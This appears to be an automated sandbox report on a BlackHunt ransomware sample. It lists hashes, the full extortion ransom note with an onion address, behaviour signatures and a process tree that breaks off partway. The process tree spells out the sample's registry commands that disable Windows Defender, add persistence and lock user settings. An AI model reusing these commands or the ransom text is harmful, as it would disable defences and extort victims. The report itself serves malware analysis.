Analysis

  • max time kernel
    120s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    19/01/2024, 00:45

General

  • Target

    bffd6ed9088a6ea749bdaaf0f95cf78a3c560efa1693b3a2bb90e1858cfef7be.exe

  • Size

    707KB

  • MD5

    bee6675b1d22869ac0efd2979ba759d4

  • SHA1

    506490c0317f6c12de4a6af4610680caabe73656

  • SHA256

    bffd6ed9088a6ea749bdaaf0f95cf78a3c560efa1693b3a2bb90e1858cfef7be

  • SHA512

    36f474fdd65e6c02b5bdbb4c1c67de475e9753555acc52dbf25a581141883728fe34e7a81a9206e2b21755d930bebf97854ea5f7f804626b17cc4776cf141f7c

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1s8xPvnh:6uaTmkZJ+naie5OTamgEoKxLW/xHh

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> OKODbfrbKjN3R0PF </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (2886) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 12 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\bffd6ed9088a6ea749bdaaf0f95cf78a3c560efa1693b3a2bb90e1858cfef7be.exe
    "C:\Users\Admin\AppData\Local\Temp\bffd6ed9088a6ea749bdaaf0f95cf78a3c560efa1693b3a2bb90e1858cfef7be.exe"
    1⤵
    • UAC bypass
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2444
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
      2⤵
        PID:1344
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
          3⤵
          • Modifies registry class
          PID:1800
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1160
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
          3⤵
          • Modifies registry class
          PID:2800
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
        2⤵
          PID:1312
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
            3⤵
            • Modifies registry class
            PID:1600
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
          2⤵
            PID:1356
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
              3⤵
              • Modifies registry class
              PID:2860
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
            2⤵
              PID:2160
              • C:\Windows\system32\reg.exe
                reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                3⤵
                • Adds Run key to start application
                PID:1824
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
              2⤵
                PID:2744
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                  3⤵
                    PID:2736
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                  2⤵
                    PID:2504
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                      3⤵
                      • Modifies Windows Defender Real-time Protection settings
                      PID:672
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                    2⤵
                      PID:2804
                      • C:\Windows\system32\reg.exe
                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                        3⤵
                          PID:1632
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                        2⤵
                          PID:2888
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                            3⤵
                              PID:3988
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                            2⤵
                              PID:3016
                              • C:\Windows\system32\reg.exe
                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                3⤵
                                  PID:2100
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                2⤵
                                  PID:2912
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                    3⤵
                                      PID:2720
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                    2⤵
                                      PID:2292
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                        3⤵
                                          PID:2528
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                        2⤵
                                          PID:3008
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                            3⤵
                                              PID:1068
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:2884
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                                3⤵
                                                  PID:3428
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:2840
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                    3⤵
                                                      PID:3404
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:2688
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                                        3⤵
                                                          PID:2204
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:2680
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                            3⤵
                                                              PID:2468
                                                          • C:\Windows\System32\cmd.exe
